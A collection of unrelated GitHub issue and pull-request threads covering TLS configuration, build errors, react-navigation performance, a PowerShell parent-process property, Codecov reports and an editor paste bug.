allow full arguments with TLS.Client|Server.create_connection

Signed-off-by: Alexander Diemand<EMAIL_ADDRESS>This change allows to pass in more arguments to the basic Tls_io functions to setup its Tls.Config (via the package gluten).
This allows to more finegrained control the TLS handshake and improve security.
An example of its usage is in: https://github.com/CodiePP/ml-grpc-examples
(an accompanying PR is submitted to https://github.com/anmonteiro/gluten/pull/52)

this can be done by doing the handshake with your own Tls.Config and calling create_connection on one of the runtimes, like this example shows for eio.


Add DEFAULT_RESOLUTION to ps6000a.py, Correct data type in GetUnitInfo

Fixes #.
Changes proposed in this pull request:
*Add DEFAULT_RESOLUTION to ps6000a.py
*Correct data type in GetUnitInfo
*

Confirming that this indeed works and should be merged.

:+1:

Different implementation of the solution to the issue is upcoming in the next update with support for the 3000E devices


feat: add eslint configuration and netlify functions

Description

Add new eslint configuration with all necessary plugins for typescript.
Add Netlify functions that need to be migrated to Typescript later on.

npm run start is failing locally, though the build is working fine.
> next start

   ▲ Next.js 14.1.0
   - Local:        http://localhost:3000

Error: "next start" does not work with "output: export" configuration. Use "npx serve@latest out" instead.

Rest, everything seems good 🚀


config-tools not found

I try to compile this project with sbt compile and config-tools couldn't checkout from mavn repo .
Maybe we should add some repo-address in project/Build.scala ?
[warn] 	::::::::::::::::::::::::::::::::::::::::::::::
[warn] 	::          UNRESOLVED DEPENDENCIES         ::
[warn] 	::::::::::::::::::::::::::::::::::::::::::::::
[warn] 	:: org.trustedanalytics.gearpump#config-tools;0.0.1-SNAPSHOT: not found
[warn] 	::::::::::::::::::::::::::::::::::::::::::::::
[error] /Users/darion.johannes.yaphet/repository/gearpump-examples/kafka-hbase-pipeline/src/main/scala/io/gearpump/examples/kafka_hbase_pipeline/Processors.scala:173: overloaded method value apply with alternatives:
[error]   [T](userconfig: io.gearpump.cluster.UserConfig, tableName: String, configuration: org.apache.hadoop.conf.Configuration)io.gearpump.external.hbase.HBaseSink <and>
[error]   [T](userconfig: io.gearpump.cluster.UserConfig, tableName: String)io.gearpump.external.hbase.HBaseSink
[error]  cannot be applied to (String)
[error]       HBaseSink(hbaseTable)
[error]       ^
[error] /Users/darion.johannes.yaphet/repository/gearpump-examples/kafka-hbase-pipeline/src/main/scala/io/gearpump/examples/kafka_hbase_pipeline/Processors.scala:203: overloaded method value apply with alternatives:
[error]   [T](userconfig: io.gearpump.cluster.UserConfig, tableName: String, configuration: org.apache.hadoop.conf.Configuration)io.gearpump.external.hbase.HBaseSink <and>
[error]   [T](userconfig: io.gearpump.cluster.UserConfig, tableName: String)io.gearpump.external.hbase.HBaseSink
[error]  cannot be applied to (String)
[error]       HBaseSink(hbaseTable)
[error]       ^
[error] two errors found
[trace] Stack trace suppressed: run last gearpump-tap-pipeline/*:update for the full output.
[error] (gearpump-tap-pipeline/*:update) sbt.ResolveException: unresolved dependency: org.trustedanalytics.gearpump#config-tools;0.0.1-SNAPSHOT: not found
[error] (gearpump-kafka-hbase-pipeline/compile:compile) Compilation failed

@kkasravi Can you help to look into this one?

Yes, it's referencing an ATK library. I'll correct, but may be a day or two

This actually isn't the ATK library - it's the https://github.com/gearpump/gearpump_tap_integration repo which is including configuration information we anticipate will be exported from TAP (Trusted Analytics Platform) and shouldn't be made a dependency here. I'll clean this up as part of #22


Urgent - new banners to run for the weekend

Hi Donal,
Can you run the attached linking through to https://www.townlandscarnival.com/ from now until 12/05 please?
https://mail.google.com/mail/u/0/?ui=2&ik=48cc84f117&view=att&th=14d336bf360e4ec7&attid=0.2&disp=safe&realattid=162dfedb4a1c7ff4_0.1.5&zw
https://mail.google.com/mail/u/0/?ui=2&ik=48cc84f117&view=att&th=14d336bf360e4ec7&attid=0.3&disp=safe&realattid=162dfedb4a1c7ff4_0.1.7&zw

The links don't work for me, it looks like they're links into your email which might be why you can access them but I can't. Also, can you be a bit more explicit about where you want the images to be placed?

I did drag and drop but it's not worked for some reason so I emailed you the banners.
They are the exact same placements as previously, just a like for like replacement. Thanks


add qos e2e test

What this PR does / why we need it:
add qos e2e test
Special notes for your reviewer:
Does this PR introduce a user-facing change?

Codecov Report

Merging #971 (82e9021) into main (520fce9) will not change coverage.
The diff coverage is n/a.

:exclamation: Your organization is not using the GitHub App Integration. As a result you may experience degraded service beginning May 15th. Please install the Github App Integration for your organization. Read more.
@@           Coverage Diff           @@
##             main     #971   +/-   ##
=======================================
  Coverage   29.80%   29.80%
=======================================
  Files          24       24
  Lines        1570     1570
=======================================
  Hits          468      468
  Misses       1040     1040
  Partials       62       62

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


When using TabNavigation in combination with StackNavigation the FlatList loads slower on navigation between screens

Current Behavior
I'm currently having two types of navigation in my app: StackNavigation and TabNavigation.
The TabNavigation has 5 screens, and one of it contains a StackNavigation with 3 screens.
The StackNavigation screens 1 and 2 contain a list of data which is displayed with FlatList. The problem that I have is that when I transition from screen 1 to screen 2, the FlatList is not "pre-rendered", and you can see a delay.
This only happens when I export the Tabs. If I only export the StackNavigator it works fast and the list is already there when you switch between screens.
Expected Behavior
I'd like to be able to have also the TabNavigation and the transition to be smooth between pages.
Code:
const StackScreen = StackNavigator({
    // Contains a list displayed with FlatList
    ScreenOne: {
        screen: ScreenOne,
        navigationOptions: {
            title: 'ScreenOne'
        }
    },
    // Contains another list displayed with FlatList
    ScreenTwo: {
        screen: ScreenTwo,
        navigationOptions: {
            title: 'ScreenTwo'
        }
    },
    ScreenThree: {
        screen: ScreenThree,
        navigationOptions: {
            title: 'ScreenThree'
        }
    }
});

const Tabs = TabNavigator({
    // This tab holds the StackNavigator
    Tab1: {
        screen: StackScreen,
        navigationOptions: {
            title: 'StackScreen'
        }
    },
    Tab2: {
        screen: Tab2,
        navigationOptions: {
            title: 'Tab2'
        }
    },
    Tab3: {
        screen: Tab3,
        navigationOptions: {
            title: 'Tab3'
        }
    },
    Tab4: {
        screen: Tab4,
        navigationOptions: {
            title: 'Tab4'
        }
    },
    Tab5: {
        screen: Tab5,
        navigationOptions: {
            title: 'Tab5'
        }
    }
});

export default Tabs;

When I do export default StackScreen, everything works well...

software
version

react-navigation
1.0.0-beta.11

react-native
0.44.0

node
8.0.0

npm or yarn
0.24.5

Any suggestions on what I'm doing wrong and how can I get around this bug?

Have you tried using StackNavigator as the root and wrap TabNavigator in it?
const Tabs = TabNavigator({
  Tab1: { screen: ScreenOne },
  Tab2: { screen: Tab2 },
  Tab3: { screen: Tab3 },
  Tab4: { screen: Tab4 },
  Tab5: { screen: Tab5 },
})

const App = StackNavigator({
  Tabs: { screen: Tabs },
  ScreenTwo: { screen: ScreenTwo },
  ScreenThree: { screen: ScreenThree },
})

I think wrapping another Navigator in TabNavigator is the cause of your.
TabNavigator has to render all the screens all the time when it is active.
It also has to handle swipe gesture to switch between screens.

@jcaspian The problem is that I need to have the tabs on all my screens. This is why I have my TabNavigator wrapping the StackNavigator.

@florinpop17 hey there! I have just faced the same behavior with FlatList in StackNavigator that is within the TabNavigator. My problem was that I had removeClippedSubviews={true} as prop for FlatList. So I removed it and wrapped each element of FlatList with React.PureComponent due to react-native#13649.

I was troubled by the same question right now. Is this question solved or not ?

I'm also exactly experiencing an issue with this. Is it solved ? If I ON the "Remote JS Debugging" it works smoothly. But when its OFF, navigation flow gets slow down. Please anyone help me out on this.

Its working by wrapping the renderItem method outside of the component and imported the listItem.

Pinging OP @florinpop17  since this issue has not been active for a while, and it's related to an old version of the lib. Moreover I suggest you read this for issues related to performances.
Please let me know if you want this to remain open, because if I get no answer in the next 7 days I will close it.

Hi there @florinpop17 ,
In an effort to cleanup this project and prioritize a bit, since this issue had no follow up since my last comment I'm going to close it.
If you are still having the issue with the latest version (especially if it's a bug report) please check the current open issues, and if you can't find a duplicate, open a new one that uses the new Issue Template to provide some more details to help us solve it.

Remote debugging on perf is great but when its off it suffers o n tab transitions. I lose about 30 fps.


unarmed ships "attack" armed ships

move in range of armed ships station in this case, should retreat

There was something broken with running away. It should be fixed now. Ships run to the least damaging square


Removed pre-release from tag action

I noticed that when PRs are closed the tag action doesn't run, this unfortunately results in orphaned stacks for PRs that never get merged.

After looking into the source it looks like this is because the action only tags release branches, anything that matches the git head. Since we're using this tag action for a different purpose than the original author intended I don't think this check makes sense for us.
To fix this this PR removes this check. This should result in all branches getting tagged whenever the action is called.
https://github.com/komoot/hcn-server/blob/0a41a4d1851bc28d37e9d06335782633aa746deb/.github/workflows/cleanup.yml#L3-L5
Since our workflows that use this acton pull directly from master once merged this should start working across all projects.

@martinth light ping on this in-case you missed it

@martinth I just merged in from master and simplified the change. With this we just fix pre_release to false so the script always runs.


Adjust README in gh dark mode to ensure readability of pngs

Using the gh dark mode (which I guess many people are using) the logo is not readable at all. I also suggest to adjust the other figure to remove the strong contrast. I need to admit that I simply inverted the colors, because I did not find any raw (svg/pdf/...) files. In case of using the light mode the old pngs are use, see gh-blog.
Hope you like the changes. And keep up this create project!

Now
With this PR

This is really awesome! Had no idea this was possible. Thanks a lot!  (Not a dark mode user) but I am sure ~50% of the readers will thank you, too!


Extend System.Diagnostics.Process with a ParentProcess property

It is unreasonably obscure to get the parent of a process via PowerShell today.
Get-Command -Noun Process will not give you anything, and you have to know that
there is a  ParentProcessId on Get-CimInstance win32_process. Even when you know that, you have to understand recycling of process ids and that you have to check the start time of the processes to actually know if it is your parent.
On top of that Get-CimInstance win32_process is dog slow due to some repetitive loading of mui dlls for some time zone related localization.
I suggest an extended property Diagnostics.Process ParentProcess {get;} that does the heavy lifting for the user in a fast and correct manner.
I don't know if it is valuable to also expose the ParentPid. (You were started by a process that had this id at the time when our your process started). Thoughts?

I can't find what src\System.Management.Automation\engine\Types_Ps1Xml.generated.cs  is generated from.
Any hints?

Or was it generated once upon a time, but isn't any longer?

Initial (working on WinFull) at https://github.com/powercode/PowerShell/tree/process-parentpid
What's the deal here regarding platform differences?
I'm not really well versed enough to say how to implement this on Linux/maxos.
Pointers?

I can't find what  src\System.Management.Automation\engine\Types_Ps1Xml.generated.cs  is generated from.
Any hints?

The file's history say that you can modify it.

What's the deal here regarding platform differences?
I'm not really well versed enough to say how to implement this on Linux/maxos.
Pointers?

Start from libpsl-native getcurrentprocessorid
I think you can easy add and use getppid

getppid is just the parent of the current process.
I think I have to read /proc/pid/stat to get the ppid of a specific pid.

Yes, read /proc right direction.

I'm getting a test error when Import/Export-CliXml with process after adding the Parent property to Process.
Is there any way to opt out a property from clixml serialization?

I don't know why the tests are failing in CI. I tried your changes it it works for me locally.
You can try debugging in CI. On AppVeyor, you can follow these instructions:
https://www.appveyor.com/docs/how-to/rdp-to-build-worker/


feat: add s3 batch result code constants

This adds constants and a type for S3 Batch Result Codes similar to what
is available for CodeBuild results

Codecov Report

Merging #302 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #302   +/-   ##
=======================================
  Coverage   74.60%   74.60%
=======================================
  Files          13       13
  Lines         638      638
=======================================
  Hits          476      476
  Misses        123      123
  Partials       39       39

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 26aa364...ab4970b. Read the comment docs.


Pasting multiple lines include escape characters on Linux.

Pasting two or more lines include escape characters and a lot of white space. Bug occurs when > set mouse off.
xclip is installed.
Commit hash: e40ff56
OS: SolusOS
Terminal: Gnome-Terminal

This should be fixed now, but I want to confirm with you first (let me know if you need the nightly binaries to be recompiled).

Fixed now. But copying multiple lines from micro with mouse off results in whitespace between lines instead of newline. Cannot paste example since github crop whitespace. Here's an example highlighted all for better view https://i.imgur.com/WuxmIru.png
Commit hash: 4e531c2